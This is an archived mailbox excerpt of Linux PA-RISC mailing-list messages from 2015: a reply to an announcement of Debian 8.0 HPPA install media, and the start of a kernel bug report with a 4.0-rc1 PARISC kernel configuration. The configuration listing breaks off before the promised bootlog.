Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 24 20:43:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YQLON-0000mF-Tj
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Feb 2015 20:43:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752759AbbBXTnj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Feb 2015 14:43:39 -0500
Original-Received: from mail-qg0-f50.google.com ([209.85.192.50]:37326 "EHLO
	mail-qg0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752752AbbBXTni (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Feb 2015 14:43:38 -0500
Original-Received: by mail-qg0-f50.google.com with SMTP id e89so31837399qgf.9
        for <linux-parisc@vger.kernel.org>; Tue, 24 Feb 2015 11:43:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=E4RQoCsxj36Eb2wrHmVD3T52lFZR2weQahNSsgNunPc=;
        b=WxY0WeXXwlaGEZR6aQZZkhg7MaJM243Zypx3n12iOnS34FBbfl76bKRyQ/bZUeVSTz
         Jxv1wsAp9PhtK5tGliMzhMJG3Rl3eH9w0j0Ij59vw2oMwcugHnwYOglFcqrNpKIidaO0
         2k3irw+Tsu8EzFzESVNnD0EjjSJbk3HYdRmZUmgl9KmMd22AUJn0Tkxx9dSNxEkRo+45
         b9FkOpqipwUuNe9CtiAX9U9Odh7o++M8RQDUbzo0hZFrLQoHnvj+HtjXCnDHuQb9grQj
         L7zkwbsm92kSBYFVYo3Auz8soSo2bBeKAW7hBCXWi/lL0bgFQ16mx1okwYdOTkAiimeh
         bPxg==
X-Received: by 10.140.238.2 with SMTP id j2mr40028511qhc.5.1424807017835; Tue,
 24 Feb 2015 11:43:37 -0800 (PST)
Original-Received: by 10.96.120.168 with HTTP; Tue, 24 Feb 2015 11:43:37 -0800 (PST)
In-Reply-To: <54ECB150.80907@gmx.de>
X-Google-Sender-Auth: pbSvkh1E0i0aXGDRI8SuzT9eWMw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25603 gmane.linux.debian.ports.hppa:7262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25603>

Cool, Thanks ;)

On Tue, Feb 24, 2015 at 6:13 PM, Helge Deller <deller@gmx.de> wrote:
> Hello everyone,
>
> I've prepared some initial netboot installation medias for
>         DEBIAN 8.0 on HPPA
>
> which are available at:
>         http://ftp.debian-ports.org/debian-cd/hppa/debian-8.0/
>
> You can find the instructions on how to install Debian 8.0 on hppa in our
> wiki at
>         https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
>
> The install images will install binaries from debian-ports (Debian
> "unstable").
>
> Major changes include:
> - Based on Debian 8.0 code base
> - Full systemd support
> - Linux kernel modules for SATA included
> - Lots of bug fixes
> - Should support all common PA-RISC hardware (on C8000 installation needs to
> be done via serial port)
>
> I'm happy to get your feedback (either as bug report or successful
> installation report).
>
> Helge
>
>
> --
> To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmaster@lists.debian.org
> Archive: https://lists.debian.org/54ECB150.80907@gmx.de
>



-- 
In theory, there is no difference between theory and practice.  In
practice, there is.

My Blogg: http://www.mybenke.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 00:54:54 +0200
Lines: 2317
Approved: news@gmane.org
Message-ID: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424818523 15799 80.91.229.3 (24 Feb 2015 22:55:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2015 22:55:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Original-X-From: owner-linux-mm@kvack.org Tue Feb 24 23:55:11 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YQONf-0005qP-Fg
	for glkm-linux-mm-2@m.gmane.org; Tue, 24 Feb 2015 23:55:08 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id F0FD26B0032; Tue, 24 Feb 2015 17:55:05 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id EBF686B006C; Tue, 24 Feb 2015 17:55:05 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D38336B006E; Tue, 24 Feb 2015 17:55:05 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-lb0-f182.google.com (mail-lb0-f182.google.com [209.85.217.182])
	by kanga.kvack.org (Postfix) with ESMTP id 153956B0032
	for <linux-mm@kvack.org>; Tue, 24 Feb 2015 17:55:05 -0500 (EST)
Original-Received: by lbiw7 with SMTP id w7so101843lbi.9
        for <linux-mm@kvack.org>; Tue, 24 Feb 2015 14:55:04 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:mime-version:content-type:content-disposition
         :user-agent;
        bh=QknP+EkmwZB0bwtCC7pU2zZqiispS5uhz/oOuRElFBU=;
        b=dTgaNWg+W3VJA3aD7JKmsTJ+JT/Q6Di84u6aBmp8kMbbGUgffGU+pJaUoOZ6J6N/0r
         sHZrClQFUo8aQoQRQUjiij/id7vrZ/joV9yt5Sp5NtSyRuarlBnZ6CsrETYSvuhVL1lY
         estSRpydm3jZ2+Z6hL24GLc6Ph8TkgCzFTPZoL5tIhRRtXbRzDkNwZf5NePHGiuSnYfM
         1yInm7oz8KrpnRhaEuV6sN8FSZsnzazMKNZjFcJBK/0JcKthaAGXVlNua4mN0RhOCqGc
         tDUocz5ntPiYR+rFqJ0VUqg8P1DEWs4o78igGByhTY2MIGXg5gbixpsLIDybcbgON5EN
         d1LQ==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 213.243.153.184 is neither permitted nor denied by domain of aaro.koskinen@iki.fi) smtp.mail=aaro.koskinen@iki.fi
X-Gm-Message-State: ALoCoQnpSFxTN8byqASofptsWd7hmUJcdsHiVrj0Gwqh1nAEiRszYeEhsUN2p7yjZKd33PsbZ4A79LZeOztrOSu+Pe/XIn8FNZgjnAZ9d0M1bYjIOj+5QaITUBeBxAvygM9snDPgXrXCRh8TfDg8CbNr1gA9HI7d/I207B8/esUr02DlIwNVl/R13D0PDvmAvyXWF0j0qlA0
X-Received: by 10.152.26.136 with SMTP id l8mr99550lag.109.1424818504444;
        Tue, 24 Feb 2015 14:55:04 -0800 (PST)
X-Received: by 10.152.26.136 with SMTP id l8mr99441lag.109.1424818502136;
        Tue, 24 Feb 2015 14:55:02 -0800 (PST)
Original-Received: from filtteri1.pp.htv.fi (filtteri1.pp.htv.fi. [213.243.153.184])
        by mx.google.com with ESMTP id x8si29464764lag.71.2015.02.24.14.55.01
        for <linux-mm@kvack.org>;
        Tue, 24 Feb 2015 14:55:02 -0800 (PST)
Received-SPF: neutral (google.com: 213.243.153.184 is neither permitted nor denied by domain of aaro.koskinen@iki.fi) client-ip=213.243.153.184;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 213.243.153.184 is neither permitted nor denied by domain of aaro.koskinen@iki.fi) smtp.mail=aaro.koskinen@iki.fi
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 133B521B9C2;
	Wed, 25 Feb 2015 00:55:01 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id kDF1ZYtzH36V; Wed, 25 Feb 2015 00:54:56 +0200 (EET)
Original-Received: from fuloong-minipc (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with ESMTP id D90DC5BC002;
	Wed, 25 Feb 2015 00:54:54 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:129028 gmane.linux.ports.parisc:25604
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/129028>

Hi,

Here's a kernel config to reproduce the issue (no special steps needed,
just boot to userspace), and bootlog after that:

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 4.0.0-rc1 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_CROSS_MEMORY_ATTACH is not set
# CONFIG_FHANDLE is not set
CONFIG_USELIB=y
# CONFIG_AUDIT is not set
CONFIG_HAVE_ARCH_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
CONFIG_SRCU=y
# CONFIG_TASKS_RCU is not set
# CONFIG_RCU_STALL_COMMON is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_RCU_KTHREAD_PRIO=0
# CONFIG_BUILD_BIN2C is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
# CONFIG_NAMESPACES is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
# CONFIG_RD_GZIP is not set
# CONFIG_RD_BZIP2 is not set
# CONFIG_RD_LZMA is not set
CONFIG_RD_XZ=y
# CONFIG_RD_LZO is not set
# CONFIG_RD_LZ4 is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_BPF=y
CONFIG_EXPERT=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
# CONFIG_BPF_SYSCALL is not set
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_PCI_QUIRKS=y
CONFIG_EMBEDDED=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
CONFIG_COMPAT_BRK=y
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
CONFIG_OPROFILE=m
CONFIG_HAVE_OPROFILE=y
# CONFIG_UPROBES is not set
# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
# CONFIG_CC_STACKPROTECTOR is not set
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_ARCH_HAS_GCOV_PROFILE_ALL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_FORCE_LOAD=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_LBDAF=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_BSGLIB=y
# CONFIG_BLK_DEV_INTEGRITY is not set
# CONFIG_BLK_CMDLINE_PARSER is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
# CONFIG_AIX_PARTITION is not set
# CONFIG_OSF_PARTITION is not set
# CONFIG_AMIGA_PARTITION is not set
# CONFIG_ATARI_PARTITION is not set
# CONFIG_MAC_PARTITION is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_MINIX_SUBPARTITION is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_LDM_PARTITION is not set
# CONFIG_SGI_PARTITION is not set
# CONFIG_ULTRIX_PARTITION is not set
# CONFIG_SUN_PARTITION is not set
# CONFIG_KARMA_PARTITION is not set
# CONFIG_EFI_PARTITION is not set
# CONFIG_SYSV68_PARTITION is not set
# CONFIG_CMDLINE_PARTITION is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
# CONFIG_IOSCHED_DEADLINE is not set
CONFIG_IOSCHED_CFQ=y
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_MLONGCALLS=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_IRQSTACKS=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZBUD is not set
# CONFIG_ZSMALLOC is not set
CONFIG_MAX_STACK_SIZE_MB=80
CONFIG_AUDIT_ARCH=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCI_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set

#
# PCI host controller drivers
#
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
# CONFIG_XFRM_USER is not set
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_NET_IP_TUNNEL is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_NET_UDP_TUNNEL is not set
# CONFIG_NET_FOU is not set
# CONFIG_GENEVE is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
# CONFIG_INET_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NET_PTP_CLASSIFY is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
# CONFIG_NETLINK_MMAP is not set
# CONFIG_NETLINK_DIAG is not set
# CONFIG_NET_MPLS_GSO is not set
# CONFIG_HSR is not set
# CONFIG_NET_SWITCHDEV is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
# CONFIG_DEVTMPFS_MOUNT is not set
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER_FALLBACK is not set
CONFIG_ALLOW_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_NULL_BLK is not set
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#

#
# Intel MIC Bus Driver
#

#
# Intel MIC Host Driver
#

#
# Intel MIC Card Driver
#
# CONFIG_ECHO is not set
# CONFIG_CXL_BASE is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_MQ_DEFAULT is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
# CONFIG_MD_AUTODETECT is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
CONFIG_MD_RAID1=y
# CONFIG_MD_RAID10 is not set
# CONFIG_MD_RAID456 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
# CONFIG_BCACHE is not set
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=y
# CONFIG_DM_SNAPSHOT is not set
